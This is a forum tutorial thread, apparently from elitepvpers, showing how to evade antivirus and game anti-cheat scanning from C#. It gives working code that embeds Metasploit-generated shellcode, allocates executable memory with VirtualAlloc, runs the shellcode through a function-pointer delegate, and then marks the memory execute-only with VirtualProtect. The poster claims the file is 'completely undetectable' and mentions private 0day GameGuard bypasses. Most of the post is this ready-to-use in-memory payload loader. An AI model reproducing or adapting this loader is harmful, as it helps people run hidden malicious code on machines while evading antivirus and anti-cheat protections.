Register for your free account! | Forgot your password?

Go Back   elitepvpers > Coders Den > General Coding > Coding Tutorials
You last visited: Today at 04:38

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



[C#/.NET] PoC - Bypassing game protection process scanning

Discussion on [C#/.NET] PoC - Bypassing game protection process scanning within the Coding Tutorials forum part of the General Coding category.

Reply
 
Old   #1
 
»jD«'s Avatar
 
elite*gold: 237
Join Date: Sep 2010
Posts: 1,152
Received Thanks: 4,910
[C#/.NET] PoC - Bypassing game protection process scanning

Hey everyone who generally hangs our here!

I have yet to venture so far away from the browsergames section, where I am fairly well known for my software development. Whilst this is my first post so I have no idea if this has been posted before or even if this is the correct place to post it but I found it quite nifty.

The general idea is this. We first need some executable code, this can be anything from shellcode to a full blown Win32 executable. For the sake of this example, I'm going to use some shellcode generated by Metasploit from a normal C++ application. I won't go into the details of how to do this, thats for another tutorial. My shellcode looks like this:
Code:
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkasAAQ2AB2BB0BBABXP8ABuJIil9xlIGpc030qpk9IuUaKbBDlK3bTpaDEEssca24bTLlKaBwdLKcB4hfo87rjwV019oVQkpllUlcQCLURVLEpza8Ofmc1hGZBJPaBBwNk3bdPLKBbwLs1N0LKsp48LEkpRTCzfahPbplKG8GhNkQHups1Kc8cWL2iLKFasjjdBpQP2pQxYztOYOM0ioXUJ7BJtERHEZGqeQ12rHWrc07pBpmYzF3ZB01FPWe8MIleT4u1Yon5K5O03DvlioRntH3EHlbHzPLuI2PVIo9ECZ30QztDRvCgBHuRJyiXSo9oYENk4vPjw0BHWpdPEPC00VcZGp0hrxoTscyuyoHUnsF31zUPcfCc67BHERII9XsoioHUEQhC4iO6mU9f3EjLZcAA551asAWW53awgZZsnwwplxxnvpQxYztOYOM0ioXUJ7BJtERHEZGqeQ12rHWrc07pBpmYzF3ZB01FPWe8MIleT4u1Yon5K
So now we have some sort of executable code, its time to get it to run. This method will actually bypass most antivirus programs that do scans on executables only and it will even bypass memory scanning if used properly. Whilst most likely it won't bypass memory scanning techniques used by game protection suits, it will hide it against process scanning and other file scanning techniques used. If you craft your shellcode properly then you could probably get it to bypass GameGuard and PunkBuster if you tried.

So then, back to the juicy stuff. Now it comes to the code. Whilst none of this is new stuff, this method does allow compilation on any upto date operating system that supports Powershell and can be used to bypass whatever you want! Our first step is to setup our references as well as get our DLL Imports done. We should end up with something like:

Code:
using System;
using System.Runtime.InteropServices;

namespace ProofOfConceptMemExec
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationConsts flAllocationType, MemoryProtectionConsts flProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeConsts dwFreeType);

        [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
        public delegate Int32 ExecuteDelegate();
    }
}
Now that we have that, we need to setup some enums to pass in to our imported functions. Should look like this:

Code:
using System;
using System.Runtime.InteropServices;

namespace ProofOfConceptMemExec
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationConsts flAllocationType, MemoryProtectionConsts flProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeConsts dwFreeType);

        [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
        public delegate Int32 ExecuteDelegate();
        
        [Flags]
        public enum AllocationConsts : uint
        {
            COMMIT = 0x1000,
            RESERVE = 0x2000
        }

        [Flags]
        public enum MemoryProtectionConsts : uint
        {
            EXECUTE = 0x10,
            EXECUTE_READ = 0x20,
            EXECUTE_READWRITE = 0x40,
            NOACCESS = 0x01,
            READONLY = 0x02,
            READWRITE = 0x04
        }

        public enum FreeConsts : uint
        {
            MEM_RELEASE = 0x8000
        }
    }
}
Not all of the MemoryProtectionConsts are used however if you wish to change the permissions of the memory you commit you can change it to whatever you want. For now we will stick with Execute with read write permissions. So the next step is the actual code. This is a big bit but should end up looking like:

Code:
using System;
using System.Runtime.InteropServices;

namespace ProofOfConceptMemExec
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationConsts flAllocationType, MemoryProtectionConsts flProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeConsts dwFreeType);

        [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
        public delegate Int32 ExecuteDelegate();
        
        [Flags]
        public enum AllocationConsts : uint
        {
            COMMIT = 0x1000,
            RESERVE = 0x2000
        }

        [Flags]
        public enum MemoryProtectionConsts : uint
        {
            EXECUTE = 0x10,
            EXECUTE_READ = 0x20,
            EXECUTE_READWRITE = 0x40,
            NOACCESS = 0x01,
            READONLY = 0x02,
            READWRITE = 0x04
        }

        public enum FreeConsts : uint
        {
            MEM_RELEASE = 0x8000
        }
        
        static void Main()
        {
            string exeCode = @"PYIIIIIIIIIIIIIIII7QZjAXP0A0AkasAAQ2AB2BB0BBABXP8ABuJIil9xlIGpc030qpk9IuUaKbBDlK3bTpaDEEssca24bTLlKaBwdLKcB4hfo87rjwV019oVQkpllUlcQCLURVLEpza8Ofmc1hGZBJPaBBwNk3bdPLKBbwLs1N0LKsp48LEkpRTCzfahPbplKG8GhNkQHups1Kc8cWL2iLKFasjjdBpQP2pQxYztOYOM0ioXUJ7BJtERHEZGqeQ12rHWrc07pBpmYzF3ZB01FPWe8MIleT4u1Yon5K5O03DvlioRntH3EHlbHzPLuI2PVIo9ECZ30QztDRvCgBHuRJyiXSo9oYENk4vPjw0BHWpdPEPC00VcZGp0hrxoTscyuyoHUnsF31zUPcfCc67BHERII9XsoioHUEQhC4iO6mU9f3EjLZcAA551asAWW53awgZZsnwwplxxnvpQxYztOYOM0ioXUJ7BJtERHEZGqeQ12rHWrc07pBpmYzF3ZB01FPWe8MIleT4u1Yon5K";

            byte[] code = new byte[exeCode.Length];

            for (int i = 0; i < exeCode.Length; i++)
            {
                code[i] = Convert.ToByte(exeCode[i]);
            }

            IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(code.Length + 1), AllocationConsts.RESERVE | AllocationConsts.COMMIT, MemoryProtectionConsts.EXECUTE_READWRITE);

            try
            {
                Marshal.Copy(code, 0, baseAddr, code.Length);
                var func = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));
                func();
            }
            finally
            {
                VirtualFree(baseAddr, 0, FreeConsts.MEM_RELEASE);
            }

            Console.Read();
        }
    }
}
The above code is pretty straight forward, it takes my shellcode (in metasploit form), converts it to a bytearray, allocates some memory for the code, then executes the code. This is basically the same as ((void(*)(void))addr)(); in C++. Once the function returns, it then unallocates the memory (as the GC won't do it for you ) and pauses until a user hits a key.

And there you have it! Executable code embedded in a C# assembly executing from memory. DEP doesn't seem to do much about this either. Using that works however there are a few little things we can do to make it more "secure". First we can tell the code to be "execute only" which means that other (unprivledged) processes can't read or write to our memory location. To do that, the code would look like:

Code:
using System;
using System.Runtime.InteropServices;

namespace ProofOfConceptMemExec
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationConsts flAllocationType, MemoryProtectionConsts flProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeConsts dwFreeType);
        
        [DllImport("kernel32.dll")]
        static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, MemoryProtectionConsts flNewProtect, out MemoryProtectionConsts lpflOldProtect);

        [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
        public delegate Int32 ExecuteDelegate();
        
        [Flags]
        public enum AllocationConsts : uint
        {
            COMMIT = 0x1000,
            RESERVE = 0x2000
        }

        [Flags]
        public enum MemoryProtectionConsts : uint
        {
            EXECUTE = 0x10,
            EXECUTE_READ = 0x20,
            EXECUTE_READWRITE = 0x40,
            NOACCESS = 0x01,
            READONLY = 0x02,
            READWRITE = 0x04
        }

        public enum FreeConsts : uint
        {
            MEM_RELEASE = 0x8000
        }
        
        static void Main()
        {
            string exeCode = @"PYIIIIIIIIIIIIIIII7QZjAXP0A0AkasAAQ2AB2BB0BBABXP8ABuJIil9xlIGpc030qpk9IuUaKbBDlK3bTpaDEEssca24bTLlKaBwdLKcB4hfo87rjwV019oVQkpllUlcQCLURVLEpza8Ofmc1hGZBJPaBBwNk3bdPLKBbwLs1N0LKsp48LEkpRTCzfahPbplKG8GhNkQHups1Kc8cWL2iLKFasjjdBpQP2pQxYztOYOM0ioXUJ7BJtERHEZGqeQ12rHWrc07pBpmYzF3ZB01FPWe8MIleT4u1Yon5K5O03DvlioRntH3EHlbHzPLuI2PVIo9ECZ30QztDRvCgBHuRJyiXSo9oYENk4vPjw0BHWpdPEPC00VcZGp0hrxoTscyuyoHUnsF31zUPcfCc67BHERII9XsoioHUEQhC4iO6mU9f3EjLZcAA551asAWW53awgZZsnwwplxxnvpQxYztOYOM0ioXUJ7BJtERHEZGqeQ12rHWrc07pBpmYzF3ZB01FPWe8MIleT4u1Yon5K";

            byte[] code = new byte[exeCode.Length];

            for (int i = 0; i < exeCode.Length; i++)
            {
                code[i] = Convert.ToByte(exeCode[i]);
            }

            IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(code.Length + 1), AllocationConsts.RESERVE | AllocationConsts.COMMIT, MemoryProtectionConsts.EXECUTE_READWRITE);

            try
            {
                Marshal.Copy(code, 0, baseAddr, code.Length);
                uint oldProt;
                VirtualProtect(baseAddr, (uint)(code.Length + 1), MemoryProtectionConsts.EXECUTE, out oldProt);
                var func = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));
                func();
            }
            finally
            {
                VirtualFree(baseAddr, 0, FreeConsts.MEM_RELEASE);
            }

            Console.Read();
        }
    }
}
See the added "VirtualProtect" imports and calls.

And that's it!! You now have a completely undetectable file (as far as executable scanning virus scanners are concerned), and should bypass most file scanning game protection suits. I'll keep this upto date as more and more "advances" are made on my end. Currently I have a fair few proof of concept 0day bypasses for GameGuard but I'm not willing to share them in a public forum as they will be patched almost instantly! If anyone "higher up" wants to contact me, I'd be happy to provide some details.

Enjoy

-jD
»jD« is offline  
Thanks
9 Users
Old 03/23/2013, 15:22   #2
 
elite*gold: 0
Join Date: Mar 2013
Posts: 116
Received Thanks: 32
Sie sind ziemlich gut in der Programmierung
trussik is offline  
Reply


Similar Threads Similar Threads
Bypassing l2phx protection
04/18/2010 - Lineage 2 - 1 Replies
is there any way to bypass l2phx protection? i know i can bypass clientside protection but what about serverside?
Bypassing The Patch Process?
05/01/2008 - RF Online - 0 Replies
Can anyone create a bypass EXE/.BIN which skips the patching progress on private servers other than the one provided in the forums cause that one fails... Thanks~
Bypassing gameguard protection
02/04/2007 - Lineage 2 - 0 Replies
Hi all. After a few days trying, i managed to bypass the loader protection in my server. So now I can open l2.exe and I dont get the file size error problem. However, when I open l2.exe and l2walker (IG) is running, i cant barely type my username or password, nor hit the "enter" button. I think all I need to do is hide this process so gg or nwindow.dll doesnt find it. I already tried the GGC4rus bypass but its not working. Any help would be much appreciated.



All times are GMT +1. The time now is 04:39.


Powered by vBulletin®
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2026 elitepvpers All Rights Reserved.